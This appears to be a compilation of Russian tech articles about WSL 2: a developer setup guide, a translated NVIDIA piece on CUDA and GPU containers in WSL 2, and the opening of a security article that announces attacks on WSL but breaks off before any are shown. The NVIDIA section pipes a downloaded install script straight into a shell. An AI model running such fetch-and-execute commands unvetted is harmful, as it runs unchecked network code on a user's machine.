Wsl

Раньше моей рабочей машиной был ноутбук, созданный Apple. Я мог делать на нём практически всё что угодно: разрабатывать программы, писать тексты, сочинять музыку, да и много чего ещё. Но мне не давали покоя мысли о том, что я привязан к экосистеме Apple, о том, что я зависим от прихотей этой компании. Поэтому я приступил к поискам чего-то нового.

Я начал собирать рабочую станцию под задачи машинного обучения. Поставил в неё, кроме прочего, отличный процессор, много памяти, достойную видеокарту. Практически все мои задачи я решал в Ubuntu. Правда, для работы с текстами мне нужен был Microsoft Office. Онлайновый Office тогда ещё не появился, и, давайте называть вещи своими именами, LibreOffice это просто ужас какой-то. Для меня решением стала двойная загрузка в конфигурации Ubuntu Windows 10. Мне невероятно понравилось то ощущение свободы, которое испытываешь, переходя с ОС от Apple на Ubuntu. А возможности, которые открываются перед тем, кто сам собирает свой компьютер, практически бесконечны.



Двойная загрузка в течение долгого времени полностью меня устраивала. А когда я миллион раз ей воспользовался, появилась технология WSL (Windows Subsystem for Linux, подсистема Windows для Linux). Когда это случилось, я начал решать некоторые свои Linux-задачи в Windows. Правда, даже так, многого для полноценной работы мне ещё не хватало. Но теперь, с выходом WSL 2, у меня возникает такое ощущение, что новая версия WSL способна кардинальным образом изменить ситуацию. Сегодня я предлагаю поговорить о том, как, с помощью WSL 2, перенести задачи по разработке программ из Linux в Windows 10. Я расскажу о новых возможностях WSL 2, и о том, что можно ожидать от этой подсистемы в будущем.

Обзор WSL 2

WSL 2 это новая версия подсистемы Windows для Linux. В этой версии имеются некоторые изменения, определяющие то, как Linux-дистрибутивы взаимодействуют с Windows.


Microsoft любит Linux

В этом релизе WSL в распоряжении пользователя оказывается улучшенная производительность файловой системы и полная совместимость с системными вызовами. Конечно, у нас есть возможность запускать Linux либо на WSL 1, либо на WSL 2, и, более того, переключаться между разными версиями WSL можно в любое время. WSL 2 это результат серьёзного усовершенствования базовой архитектуры системы, её новые возможности основаны на технологии виртуализации и на функционале ядра Linux. При этом Microsoft берёт на себя заботу о мелких деталях, поэтому пользователь WSL может просто заниматься своими делами, ни на что не отвлекаясь.

Установка

Microsoft обещает, что в ближайшем будущем установка WSL 2 будет выполняться очень просто, и что Linux можно будет обновлять с использованием механизма обновлений Windows. Пока же процесс установки WSL 2 требует некоторых усилий, но, на самом деле, ничего страшного тут нет.

В этом примере мы установим на Windows 10 Ubuntu 20.04. Надо отметить, что процесс установки будет одним и тем же для всех дистрибутивов Linux, доступных в Microsoft Store. Для начала нужно включить компонент Windows Subsystem for Linux. Для этого надо открыть PowerShell от имени администратора и выполнить следующую команду:

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

Далее, нужно обновить WSL до WSL 2. Для этого Windows 10 должна быть обновлена до версии 2004. В BIOS должна быть включена технология виртуализации Intel. Снова воспользуемся PowerShell с административными привилегиями и выполним такую команду:

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

Для завершения установки WSL и обновления до WSL 2 перезагрузите компьютер. Затем нужно установить WSL 2 в качестве версии WSL, используемой по умолчанию при установке новых дистрибутивов Linux. Для этого, всё так же, пользуясь PowerShell с правами администратора, выполним эту команду:

wsl --set-default-version 2

После того, как вы выполните эту команду, может появиться такое сообщение:

WSL 2 requires an update to its kernel component. For information please visit https://aka.ms/wsl2kernel

Сообщение, выдаваемое при попытке установки WSL 2 как подсистемы Windows для Linux, используемой по умолчанию

Перейдите по указанной ссылке и установите соответствующий MSI-файл, благодаря которому на вашу машину будет установлено ядро Linux для WSL 2. После того, как ядро будет установлено, выполните вышеприведённую команду снова. Теперь она должна завершиться успешно, не выдавая подобного сообщения.

Теперь осталось лишь установить нужный дистрибутив Linux. Для этого надо открыть Microsoft Store и поискать там Ubuntu 20.04 LTS. После установки дистрибутива в меню Пуск должен появиться ярлык для запуска Ubuntu. Запустите систему и следуйте инструкциям для завершения установки (в целом, завершение установки заключается в создании нового пользователя).

Для того чтобы проверить, действительно ли дистрибутив установлен на WSL 2, выполните такую команду:

wsl --list --verbose

Если оказалось, что используется WSL 1, то переключиться на WSL 2 можно, воспользовавшись командой такого вида:

wsl --set-version <distribution name> <versionNumber>

Вот и всё. Теперь в вашем распоряжении имеется полноценный дистрибутив Ubuntu, работающий в Windows 10.

Настройка рабочей среды для программиста

Теперь, когда в вашем распоряжении оказалась рабочая Ubuntu, вы можете устанавливать всё, что вам может понадобиться. Например, если вы дата-сайентист, вы можете установить самый свежий дистрибутив Anaconda. Если вы фронтенд-разработчик, то вас, например, могут заинтересовать Angular, npm и многое другое. Здесь же мне хотелось бы сосредоточиться на двух инструментах. Это Visual Studio Code и связка Docker + Kubernetes.

Visual Studio Code

VS Code это редактор кода, которому отдаёт предпочтение множество разработчиков. Одна из сильных сторон этого редактора заключается в поддержке бесконечного множества расширений. А теперь, когда мы включили WSL 2, совершенно необходимым расширением для VS Code можно назвать Remote Development.

Это расширение позволяет удалённо работать над кодом, который имеется в среде, создаваемой средствами WSL 2, в контейнере, или даже на удалённой виртуальной машине, доступ к которой осуществляется по SSH. Данное расширение позволяет, например, создать проект в ОС Linux, работающей в WSL 2, и использовать для работы над этим проектом редактор VS Code, установленный в Windows 10.

Собственно говоря, VS Code отличается огромными возможностями. Это и интеллектуальная система IntelliSense, и интеграция с git, и отладчик, и терминал, и очень много чего ещё. Полагаю, с настройкой VS Code вы справитесь и очень скоро сможете сделать из этого редактора именно то, что нужно вам.

Docker + Kubernetes

Docker для Widnows сделан на хорошо, но не на отлично. На самом деле, именно Docker заставлял меня постоянно прыгать между Windows и Ubuntu. Например, мне приходилось делать это тогда, когда нужно было создать новый образ Docker. А вот WSL 2 отличается полной поддержкой Docker. Это, полагаю, такая возможность новой подсистемы, которая делает работу с Docker даже удобнее, чем в Linux.

Для того чтобы включить эту возможность, нужно перейти в настройки Docker Desktop и включить опцию Use the WSL 2 based engine.


Включение поддержки Docker для WSL 2

Более того, перейдя в раздел настроек Kubernetes, можно включить возможность запуска локального кластера Kubernetes, просто установив соответствующий флажок.


Включение Kubernetes

Теперь можно перезапустить Ubuntu в WSL 2 и выполнить следующие команды:

docker versionkubectl version

Результаты выполнения подобных команд покажут, что в вашем распоряжении теперь есть Docker и Kubernetes.


Docker и Kubernetes работают в среде WSL 2

Бонус: новый терминал Windows

В качестве дополнительной полезной программы вы можете установить из Microsoft Store новый терминал Windows. В описании к нему сказано, что перед нами новое современное приложение быстрое, эффективное и мощное. Оно предназначено для пользователей, работающих с инструментами командной строки и с соответствующими средами, наподобие PowerShell. Среди его главных возможностей можно отметить следующие: поддержка вкладок и панелей, поддержка Unicode и UTF-8, ускорение вывода текста средствами GPU, поддержка пользовательских тем, стилей и настроек.

Вот видео про новый терминал Windows.

Более того, новый терминал очень хорошо выглядит, а его внешний вид поддаётся настройке. Настройки можно выполнять, пользуясь особым JSON-файлом. Здесь можно найти темы для терминала. Вот материал, в котором можно почитать подробности о терминале.

Планы развития WSL

В WSL 2 ещё недостаёт некоторых возможностей, но подсистема Windows для Linux развивается в правильном направлении. В ближайшее время установить WSL можно будет с помощью одной команды. Для этого достаточно будет открыть терминал Windows и выполнить в нём следующее:

wsl.exe --install

Кроме того, WSL 2 будет той версией подсистемы, которая, при первой установке WSL, устанавливается по умолчанию.

Надо отметить, что разработчики очень ждут от WSL следующих возможностей: поддержка видеокарт и поддержка приложений с графическим интерфейсом.

С момента выхода WSL 1 команду разработчиков этой подсистемы чаще всего просили о внедрении в WSL поддержки CUDA или GPU Compute. В последний код команды разработчиков WSL, систем виртуализации, DirectX, Windows Driver работают над этой возможностью. Поэтому следите за новостями.


Обучение модели, использующей технологии глубокого обучения, в WSL 2 (с использованием CUDA)

Более того, на подходе и поддержка графических приложений для Linux. Например, в Linux-системах, установленных на WSL, можно будет пользоваться текстовыми редакторами или IDE. На Windows-машине можно будет даже разрабатывать GUI-приложения для Linux!


Поддержка графического интерфейса Linux в WSL 2

Итоги

Сегодня мы поговорили о том, как, пользуясь WSL 2 можно превратить Windows-компьютер в рабочую станцию программиста, пользующегося Linux. В распоряжении такого программиста оказывается высокая производительность и множество полезных возможностей, набор которых, со временем, пополнится. Поэтому я и могу говорить о том, что двойная загрузка умерла.

А вы пользуетесь WSL 2?

Компания Microsoft, откликаясь на многочисленные просьбы пользователей, представила в мае 2020 года на конференции Build новую возможность подсистемы Windows для Linux 2 (Windows Subsystem for Linux 2, WSL 2) поддержку видеоускорителей. Это позволит запускать в WSL 2 приложения, занимающиеся специализированными вычислениями. Поддержка GPU откроет дорогу профессиональным инструментам, поможет решать в WSL 2 задачи, которые в настоящее время можно решать только в Linux. Теперь подобные задачи можно будет решать и в Windows, пользуясь возможностями GPU.

Крайне важно тут и то, что в WSL приходит поддержка программно-аппаратной архитектуры параллельных вычислений NVIDIA CUDA.

Материал, перевод которого мы публикуем, подготовлен специалистами NVIDIA. Здесь речь пойдёт о том, чего можно ожидать от CUDA в Public Preview-версии WSL 2.


Запуск AI-фреймворков, используемых в Linux, в WSL 2-контейнерах

Что такое WSL?

WSL это возможность Windows 10, которая позволяет использовать инструменты командной строки Linux непосредственно в Windows без необходимости сталкиваться со сложностями применения конфигурации двойной загрузки. WSL представляет собой контейнеризованное окружение, которое тесно интегрировано с ОС Microsoft Windows. Это позволяет запускать Linux-приложения вместе с традиционными Windows-приложения и с современными приложениями, распространяемыми через Microsoft Store.

WSL это, преимущественно, инструмент для разработчиков. Если вы работаете над некими проектами в контейнерах Linux, это значит, что вы можете заниматься теми же делами локально, на Windows-компьютере, используя привычные инструменты Linux. Обычно, чтобы запустить подобные приложения на Windows, нужно потратить много времени на настройку системы, нужны какие-то сторонние фреймворки, библиотеки. Теперь, с выходом WSL 2, всё изменилось. Благодаря WSL 2 в мир Windows пришла полная поддержка ядра Linux.

WSL 2 и технология паравиртуализации GPU (GPU Paravirtualization, GPU-PV) позволили Microsoft вывести поддержку Linux в Windows на новый уровень, сделав возможным запуск вычислительных нагрузок, рассчитанных на GPU. Ниже мы подробнее поговорим о том, как выглядит использование GPU в WSL 2.

Если вас интересует тема поддержки видеоускорителей в WSL 2 взгляните на этот материал и на этот репозиторий.

CUDA в WSL

Для того чтобы воспользоваться возможностями GPU в WSL 2, необходимо, чтобы на компьютере был бы установлен видеодрайвер, поддерживающий Microsoft WDDM. Подобные драйверы создают производители видеокарт такие, как NVIDIA.

Технология CUDA позволяет заниматься разработкой программ для видеоускорителей NVIDIA. Эта технология поддерживается в WDDM, в Windows, уже многие годы. Новый контейнер WSL 2 от Microsoft даёт возможности по GPU-ускорению вычислений, которыми может воспользоваться технология CUDA, что позволяет выполнять в среде WSL программы, рассчитанные на CUDA. Подробности об этом можно узнать в руководстве пользователя по работе с CUDA в WSL.

Поддержка CUDA в WSL включена в драйверы NVIDIA, рассчитанные на WDDM 2.9. Эти драйверы достаточно просто установить в Windows. Драйверы пользовательского режима CUDA в WSL (libcuda.so) автоматически становятся доступными внутри контейнера, их может обнаружить загрузчик.

Команда NVIDIA, занимающаяся разработкой драйверов, добавила в драйвер CUDA поддержку WDDM и GPU-PV. Сделано это для того чтобы эти драйверы могли бы работать в среде Linux, запущенной на Windows. Эти драйверы всё ещё находятся в статусе Preview, их релиз состоится только тогда, кода состоится официальный релиз WSL с поддержкой GPU. Подробности о выпуске драйверов можно найти здесь.

На следующем рисунке показана схема подключения драйвера CUDA к WDDM внутри гостевой системы Linux.


WDDM-драйвер пользовательского режима с поддержкой CUDA, выполняющийся в гостевой системе Linux

Предположим, вы разработчик, который установил дистрибутив WSL на последнюю сборку Windows из Fast Ring (сборка 20149 или старше) Microsoft Windows Insider Program (WIP). Если вы переключились на WSL 2 и у вас есть GPU NVIDIA, вы можете испытать драйвер и запустить свой код, выполняющий GPU-вычисления, в WSL 2. Для этого достаточно установить драйвер в хост-системе Windows и открыть WSL-контейнер. Здесь вам, без дополнительных усилий, будет доступна возможность работы с приложениями, использующими CUDA. На следующем рисунке показано, как в WSL 2-контейнере выполняется TensorFlow-приложение, использующее возможности CUDA.


TensorFlow-контейнер, выполняющийся в WSL 2

То, что в WSL теперь доступна технология CUDA, позволяет выполнять в WSL приложения, которые раньше можно было выполнять только в обычном Linux-окружении.

NVIDIA всё ещё активно работает над этим проектом и вносит в него улучшения. Мы, кроме прочего, работаем над добавлением в WDDM API, которые раньше были рассчитаны исключительно на Linux. Это приведёт к тому, что в WSL, без дополнительных усилий со стороны пользователя, сможет работать всё больше и больше приложений.

Ещё один интересующий нас вопрос это производительность. Как уже было сказано, поддержка GPU в WSL 2 серьёзно использует технологию GPU-PV. Это может плохо повлиять на скорость выполнения небольших задач на GPU, в ситуациях, когда не будет использоваться конвейеризация. Прямо сейчас мы работаем в направлении как можно более сильного сокращения подобных эффектов.

NVML

В исходный пакет драйвера не включена технология NVML, мы стремимся это исправить, планируя добавить в WSL поддержку NVML и поддержку других библиотек.

Мы начали работу с основного драйвера CUDA, что позволит пользователям запускать большую часть существующих CUDA-приложений даже на ранней стадии появления поддержки CUDA в WSL. Но, как оказалось, некоторые контейнеры и приложения используют NVML для получения информации о GPU даже до загрузки CUDA. Именно поэтому добавление поддержки NVML в WSL это одна из наших первоочередных задач. Вполне возможно то, что скоро мы сможем поделиться хорошими новостями по поводу решения этой задачи.

GPU-контейнеры в WSL

В дополнение к поддержке в WSL 2 DirectX и CUDA, NVIDIA работает над добавлением в WSL 2 поддержки NVIDIA Container Toolkit (раньше эта технология называлась nvidia-docker2). Контейнеризованные GPU-приложения, которые дата-сайентисты создают в расчёте на запуск в локальной или облачной среде Linux, теперь могут, без внесения в них каких-либо изменений, запускаться в WSL 2, на компьютерах, работающих под управлением Windows.

Каких-то особых пакетов WSL для этого не требуется. Библиотека времени выполнения NVIDIA (libnvidia-container) может динамически обнаруживать библиотеку libdxcore и пользоваться ей в ситуации, когда код выполняется в WSL 2-среде с поддержкой GPU-ускорения. Это происходит автоматически, после установки пакетов Docker и NVIDIA Container Toolkit, так же, как и на Linux. Это позволяет, без дополнительных усилий, запускать в WSL 2 контейнеры, в которых используются возможности GPU.

Мы настоятельно рекомендуем тем, кто хочет пользоваться опцией --gpus, установить последнюю версию инструментов Docker (19.03 или свежее). Для того чтобы включить поддержку WSL 2, следуйте инструкциям для вашего дистрибутива Linux и установите самую свежую из доступных версий nvidia-container-toolkit.

Как это работает? Все задачи, характерные для WSL 2, решаются средствами библиотеки libnvidia-container. Теперь эта библиотека может, во время выполнения, обнаруживать присутствие libdxcore.so и использовать эту библиотеку для обнаружения всех GPU, видимых этому интерфейсу.

Если эти GPU нужно использовать в контейнере, то, с помощью libdxcore.so, выполняется обращение к месту хранения драйверов, к папке, которая содержит все библиотеки драйверов для хост-системы Windows и WSL 2. Библиотека libnvidia-container.so отвечает за настройку контейнера таким образом, чтобы можно было бы корректно обратиться к хранилищу драйверов. Эта же библиотека отвечает за настройку базовых библиотек, поддерживаемых WSL 2. Схема этого показана на следующем рисунке.


Схема обнаружения и отображения в контейнер хранилища драйверов, используемая libnvidia-container.so в WSL 2

Кроме того, это отличается от логики, используемой за пределами WSL. Этот процесс полностью абстрагирован с помощью libnvidia-container.so и он, для конечного пользователя, должен быть как можно прозрачнее. Одно из ограничений этой ранней версии заключается в невозможности выбора GPU в окружениях, в которых имеется несколько GPU. В контейнере всегда видны все GPU.

В WSL-контейнере можно запустить любые Linux-контейнеры NVIDIA, с которыми вы уже знакомы. NVIDIA поддерживает самые интересные инструменты и рабочие процессы, характерные для Linux и используемые профессионалами. Загрузите интересующий вас контейнер из NVIDIA NGC и испытайте его.

Сейчас мы расскажем о том, как запускать в WSL 2 контейнеры TensorFlow и N-body, рассчитанные на использование GPU NVIDIA для ускорения вычислений.

Запуск контейнера N-body

Установим Docker, воспользовавшись скриптом установки:

user@PCName:/mnt/c$ curl https://get.docker.com | sh

Установим NVIDIA Container Toolkit. Поддержка WSL 2 доступна, начиная с nvidia-docker2 v2.3 и с библиотеки времени выполнения libnvidia-container 1.2.0-rc.1.

Настроим репозитории stable и experimental и GPG-ключ. Изменения в коде времени выполнения, рассчитанные на поддержку WSL 2, доступны в экспериментальном репозитории.

user@PCName:/mnt/c$ distribution=$(. /etc/os-release;echo $ID$VERSION_ID)user@PCName:/mnt/c$ curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add -user@PCName:/mnt/c$ curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.listuser@PCName:/mnt/c$ curl -s -L https://nvidia.github.io/libnvidia-container/experimental/$distribution/libnvidia-container-experimental.list | sudo tee /etc/apt/sources.list.d/libnvidia-container-experimental.list

Установим пакеты времени выполнения NVIDIA и их зависимости:

user@PCName:/mnt/c$ sudo apt-get updateuser@PCName:/mnt/c$ sudo apt-get install -y nvidia-docker2

Откроем WSL-контейнер и запустим в нём демон Docker. Если всё сделано правильно после этого можно будет увидеть служебные сообщения dockerd.

user@PCName:/mnt/c$ sudo dockerd

Запуск демона Docker

В другом окне WSL загрузим и запустим контейнер симуляции N-body. Нужно, чтобы у пользователя, выполняющего эту задачу, было бы достаточно полномочий для загрузки контейнера. Следующие команды может потребоваться запустить с использованием sudo. В выводимых данных можно увидеть сведения о GPU.

user@PCName:/mnt/c$ docker run --gpus all nvcr.io/nvidia/k8s/cuda-sample:nbody nbody -gpu -benchmark

Запуск контейнера N-body

Запуск контейнера TensorFlow

Испытаем в Docker, в среде WSL 2, ещё один популярный контейнер TensorFlow.

Загрузим Docker-образ TensorFlow. Для того чтобы избежать проблем с подключением к Docker, выполним следующую команду в режиме sudo:

user@PCName:/mnt/c$ docker pull tensorflow/tensorflow:latest-gpu-py3

Сохраним немного изменённую версию кода из 15 урока руководства по TensorFlow, посвящённого использованию GPU, на диск C хост-системы. Этот диск, по умолчанию, монтируется в контейнере WSL 2 как /mnt/c.

user@PCName:/mnt/c$ vi ./matmul.pyimport sysimport numpy as npimport tensorflow as tffrom datetime import datetimedevice_name = sys.argv[1] # Choose device from cmd line. Options: gpu or cpushape = (int(sys.argv[2]), int(sys.argv[2]))if device_name == "gpu":device_name = "/gpu:0"else:device_name = "/cpu:0"tf.compat.v1.disable_eager_execution()with tf.device(device_name):random_matrix = tf.random.uniform(shape=shape, minval=0, maxval=1)dot_operation = tf.matmul(random_matrix, tf.transpose(random_matrix))sum_operation = tf.reduce_sum(dot_operation)startTime = datetime.now()with tf.compat.v1.Session(config=tf.compat.v1.ConfigProto(log_device_placement=True)) as session:result = session.run(sum_operation)print(result)# Вывод результатовprint("Shape:", shape, "Device:", device_name)print("Time taken:", datetime.now() - startTime)

Ниже показаны результаты выполнения этого скрипта, запущенного со смонтированного в контейнере диска C. Скрипт выполнялся, сначала, с использованием GPU, а потом с использованием CPU. Для удобства объём представленных здесь выходных данных сокращён.

user@PCName:/mnt/c$ docker run --runtime=nvidia --rm -ti -v "${PWD}:/mnt/c" tensorflow/tensorflow:latest-gpu-jupyter python /mnt/c/matmul.py gpu 20000

Результаты выполнения скрипта matmul.py

При использовании GPU в WSL 2-контейнере наблюдается значительное ускорение выполнения кода в сравнении с его выполнением на CPU.

Проведём ещё один эксперимент, рассчитанный на исследование производительности GPU-вычислений. Речь идёт о коде из руководства по Jupyter Notebook. После запуска контейнера вы должны увидеть ссылку на сервер Jupyter Notebook.

user@PCName:/mnt/c$ docker run -it --gpus all -p 8888:8888 tensorflow/tensorflow:latest-gpu-py3-jupyter

Запуск Jupyter Notebook

Теперь у вас должна появиться возможность запускать демонстрационные примеры в среде Jupyter Notebook. Обратите внимание на то, то, что для подключения к Jupyter Notebook с использованием браузера Microsoft Edge, нужно, вместо 127.0.0.1, использовать localhost.

Перейдите в tensorflow-tutorials и запустите блокнот classification.ipynb.

Для того чтобы увидеть результаты ускорения вычислений с помощью GPU, перейдите в меню Cell, выберите Run All и посмотрите журнал в WSL 2-контейнере Jupyter Notebook.


Журнал Jupyter Notebook

Этот демонстрационный пример, да и некоторые другие в данном контейнере, позволяют увидеть проблемы со слоем виртуализации, относящиеся к неоправданно высокой дополнительной нагрузке на систему при решении небольших задач. Выше мы уже говорили об этом. Так как мы запускаем тут очень маленькие учебные модели, время их выполнения на GPU меньше времени, необходимого на решение задач синхронизации. При решении таких вот игрушечных задач в WSL 2, CPU может оказаться эффективнее GPU. Мы занимаемся решением этой проблемы, стремясь ограничить её проявления лишь совсем небольшими рабочими нагрузками, к которым не применяется конвейеризация.

Обзор WSL

Для того чтобы понять то, как поддержка GPU была добавлена в WSL 2, сейчас мы поговорим о том, что собой представляет запуск Linux на Windows, и о том, как контейнеры видят аппаратное обеспечение.

Компания Microsoft представила технологию WSL на конференции Build в 2016 году. Эта технология быстро нашла широкое применение и стала популярной в среде Linux-разработчиков, которым нужно было запускать Windows-приложения, вроде Office, вместе с инструментами разработки для Linux и соответствующими программами.

Система WSL 1 позволяла запускать немодифицированные исполняемые файлы Linux. Однако здесь использовался слой эмуляции ядра Linux, который был реализован в виде подсистемы ядра NT. Эта подсистема обрабатывала вызовы, поступающие от Linux-приложений, перенаправляя их соответствующим механизмам Windows 10.

Система WSL 1 была полезным инструментом, но она не была совместима со всеми Linux-приложениям, так как ей требовалось эмулировать абсолютно все системные вызовы Linux. Кроме того, медленными были операции по работе с файловой системой, что приводило к недопустимо низкой производительности некоторых приложений.

Учитывая это, Microsoft решила пойти другим путём и выпустила WSL 2 новую версию WSL. Контейнеры WSL 2 выполняют полные Linux-дистрибутивы в виртуализованном окружении, но при этом используют все полезные возможности новой системы контейнеризации Windows 10.

В то время как WSL 2 использует Hyper-V-сервисы Windows 10, это не традиционная виртуальная машина, а, скорее, легковесный вспомогательный механизм виртуализации. Этот механизм отвечает за управление виртуальной памятью, связанной с физической памятью, позволяя WSL 2-контейнерам динамически выделять память, обращаясь к хост-системе Windows.

Среди основных целей создания WSL 2 можно отметить увеличение производительности работы с файловой системой и обеспечение совместимости со всеми системными вызовами. Кроме того, WSL 2 создавали, стремясь улучшить уровень интеграции WSL и Windows. Это позволяет удобно работать с Linux-системой, выполняемой в контейнере, пользуясь средствами командной строки Windows. Это, кроме того, повышает удобство работы с файловой системой хоста, автоматически монтируемой в выбранные директории файловой системы контейнера.

WSL 2 была представлена в Windows Insider Program в виде Preview-возможности и была выпущена в самом свежем обновлении Windows 10, в версии 2004.

В WSL 2 из самой свежей версии Windows внесено ещё больше улучшений, которые затрагивают много всего от сетевых стеков, до базовых VHD-механизмов системы хранения данных. Описание всех новых возможностей WSL 2 выходит за рамки этого материала. Подробнее о них можно узнать на этой странице, где приводится сравнение WSL 2 и WSL 1.

Linux-ядро WSL 2

Ядро Linux, применяемое в WSL 2, собрано Microsoft на основе самой свежей стабильной ветки, с использованием исходного кода, доступного на kernel.org. Это ядро было специально настроено для WSL 2, оптимизировано с точки зрения размеров и производительности с целью обеспечения работы Linux в среде Windows. Ядро поддерживается через механизм Windows Update. Это значит, что пользователю не нужно заботиться о том, чтобы загружать последние обновления безопасности и улучшения ядра. Всё это делается автоматически.

Microsoft поддерживает в WSL несколько дистрибутивов Linux. Компания, следуя правилам опенсорс-сообщества, опубликовала в GitHub-репозитории WSL2-Linux-Kernel исходный код ядра WSL 2 с модификациями, необходимыми для интеграции с Windows 10.

Поддержка GPU в WSL

Разработчики Microsoft добавили в WSL 2-контейнеры поддержку реальных GPU с использованием технологии GPU-PV. Здесь графическое ядро операционной системы (dxgkrnl) маршалирует драйверу режима ядра, который находится на хосте, вызовы от компонентов пользовательского режима, выполняемых в гостевой виртуальной машине.

Компания Microsoft разработала эту технологию в виде возможности WDDM, с момента её появления вышло уже несколько релизов Windows. Эта работа была проведена с привлечением независимых производителей аппаратного обеспечения (Independent Hardware Vendor, IHV). Графические драйверы NVIDIA поддерживали GPU-PV начиная с ранних дней появления этой технологии в Preview-версиях продуктов, доступных в Windows Insider Program. Все GPU NVIDIA, поддерживаемые в настоящий момент, могут быть доступны ОС Windows, выполняемой в гостевом режиме, в виртуальной машине, использующей Hyper-V.

Для того чтобы в WSL 2 можно было бы пользоваться возможностями GPU-PV, Microsoft пришлось создать базу своего графического фреймворка для гостевой системы Linux: WDDM с поддержкой протокола GPU-PV. Новый драйвер Microsoft находится за dxgkrnl, за системой, отвечающей за поддержку WDDM в Linux. Код драйвера можно найти в репозитории WSL2-Linux-Kernel.

Ожидается, что dxgkrnl обеспечит поддержку GPU-ускорения в контейнерах WSL 2 в WDDM 2.9. Microsoft говорит о том, что dxgkrnl это GPU-драйвер Linux, основанный на протоколе GPU-PV, и о том, что у него нет ничего общего с Windows-драйвером, имеющим похожее имя.

В настоящее время вы можете загрузить Preview-версию драйвера NVIDIA WDDM 2.9. В ближайшие несколько месяцев этот драйвер будет распространяться через Windows Update в WIP-версии Windows, что делает ненужными ручную загрузку и установку драйвера.

Основные сведения о GPU-PV

Драйвер dxgkrnl делает доступным, в пользовательском режиме гостевой системы Linux, новое устройство /dev/dxg. Сервисный слой ядра D3DKMT, который был доступен в Windows, тоже был портирован, как часть библиотеки dxcore, на Linux. Он взаимодействует с dxgkrnl, используя набор частных IOCTL-вызовов.

Гостевая Linux-версия dxgkrnl подключаются к ядру dxg на Windows-хосте, используя несколько каналов шины VM. Ядро dxg на хосте обрабатывает то, что ему приходит от Linux-процесса, так же, как то, что приходит от обычных Windows-приложений, использующих WDDM. А именно, ядро dxg отправляет то, что получило, KMD (Kernel Mode Driver, драйверу режима ядра, уникальному для каждого HIV). Драйвер режима ядра подготавливает то, что получил, для отправки аппаратному графическому ускорителю. На следующем рисунке показана упрощённая схема взаимодействия Linux-устройства /dev/dxg и KMD.


Упрощённая схема, иллюстрирующая то, как компоненты Windows-хоста обеспечивают работу устройства dxg в гостевой системе Linux

Если говорить об обеспечении подобной схемы работы в гостевых системах Windows, то можно сказать, что драйверы NVIDIA поддерживают GPU-PV в Windows 10 уже довольно давно. GPU NVIDIA могут быть использованы для ускорения вычислений и вывода графики во всех Windows 10-приложениях, использующих слой виртуализации Microsoft. Использование GPU-PV позволяет и работать с vGPU. Вот несколько примеров подобных приложений:

• Windows Sandbox
• Microsoft Defender Application Guard
• Эмулятор Microsoft HoloLens 2

Вот как выглядит запуск DirectX-приложения в контейнере Windows Sandbox с применением видеоускорителя NVIDIA GeForce GTX 1070.


В контейнере Windows Sandbox ускорение графики выполняется средствами NVIDIA GeForce GTX 1070

Поддержка пользовательского режима

Для того чтобы добавить в WSL поддержку вывода графики, соответствующая команда разработчиков из Microsoft, кроме того, портировала на Linux компонент пользовательского режима dxcore.

Библиотека dxcore предоставляет API, который позволяет получать сведения об имеющихся в системе графических адаптерах, совместимых с WDDM. Эту библиотеку задумывали как кросс-платформенную низкоуровневую замену для средства работы с DXGI-адаптерами в Windows и Linux. Библиотека, кроме того, абстрагирует доступ к сервисам dxgkrnl (IOCTL-вызовы в Linux и GDI-вызовы в Windows), используя слой API D3DKMT, который используется CUDA и другими компонентами пользовательского режима, полагающимися на поддержку WDDM в WSL.

По сведениям Microsoft, библиотека dxcore (libdxcore.so) будет доступна и в Windows, и в Linux. NVIDIA планирует добавить в драйвер поддержку DirectX 12 и API CUDA. Эти дополнения нацелены на новые возможности WSL, доступные благодаря WDDM 2.9. Обе библиотеки, представляющие API, будут подключены к dxcore для того чтобы они могли бы давать dxg указания по поводу маршалирования их запросов к KMD на хост-системе.

Попробуйте новые возможности WSL 2

Хотите использовать свой Windows-компьютер для решения настоящих задач из сфер машинного обучения и искусственного интеллекта, и при этом пользоваться всеми удобствами Linux-окружения? Если так, то поддержка CUDA в WSL даёт вам отличную возможность это сделать. Среда WSL это то место, где Docker-контейнеры CUDA показали себя как самое популярное среди дата-сайентистов вычислительное окружение.

• Для того чтобы получить доступ к Preview-версии WSL 2 с поддержкой GPU-ускорения, вы можете присоединиться к Windows Insider Program.
• Загрузите свежие драйверы NVIDIA, установите их и попробуйте запустить в WSL 2 какой-нибудь CUDA-контейнер.

Здесь можно узнать подробности о применении технологии CUDA в WSL. Здесь, на форуме, посвящённом CUDA и WSL, вы можете поделиться с нами вашими впечатлениями, наблюдениями и идеями об этих технологиях.

А вы уже пробовали CUDA в WSL 2?

Привет, хабр! В октябре OTUS запускает новый поток курса Безопасность Linux. В преддверии старта курса делимся с вами статьёй, которую написал один из наших преподавателей Александр Колесников.

---

В 2016 году компания Microsoft представила IT сообществу новую технологию WSL (Windows Subsystem for Linux), в перспективе позволявшую объединить до этого непримиримых конкурентов, которые сражались за популярность как среди рядовых, так и продвинутых пользователей ОС: Windows и Linux. Данная технология предоставляла возможность использовать инструменты ОС Linux в окружении Windows без необходимости запуска Linux, к примеру, с помощью мультизагрузки (Multi-boot). На Habr вы можете обнаружить большое количество статей, описывающих преимущества использования WSL. Однако, к сожалению, на момент создания статьи на данном ресурсе не было обнаружено исследований безопасности такого симбиоза операционных систем. Настоящий пост станет попыткой это исправить. В статье будет рассказано об особенностях архитектур WSL 1 и 2, разобрано несколько примеров атак на системы, использующие данные технологии. Статья разбита на 2 части. В первой будут предоставлены основные теоретические методы атак со стороны Linux и Windows. Вторая статья будет включать в себя настройку тестовой среды и воспроизведение атак.

WSL 1: особенности архитектуры

Для наиболее точного погружения в проблемы безопасности WSL необходимо определить основные нюансы, связанные с имплементацией подсистемы. Одной из главных пользовательских задач, решаемых WSL, является предоставление возможности работы через терминал Linux систем на хосте с ОС Windows. Также предложенная совместимость была настолько нативной, что исполняемые файлы Linux (ELF) могли быть запущены прямо в системе Windows. Для достижения этих целей в Windows 10 была создана специальная подсистема, позволяющая запускать приложения Linux с помощью набора определённых системных вызовов таким образом, была предпринята попытка маппинга набора syscall-ов Linux на Windows. Физически это было реализовано путем добавления новых драйверов и нового формата процесса. Визуально архитектура выглядела вот так:



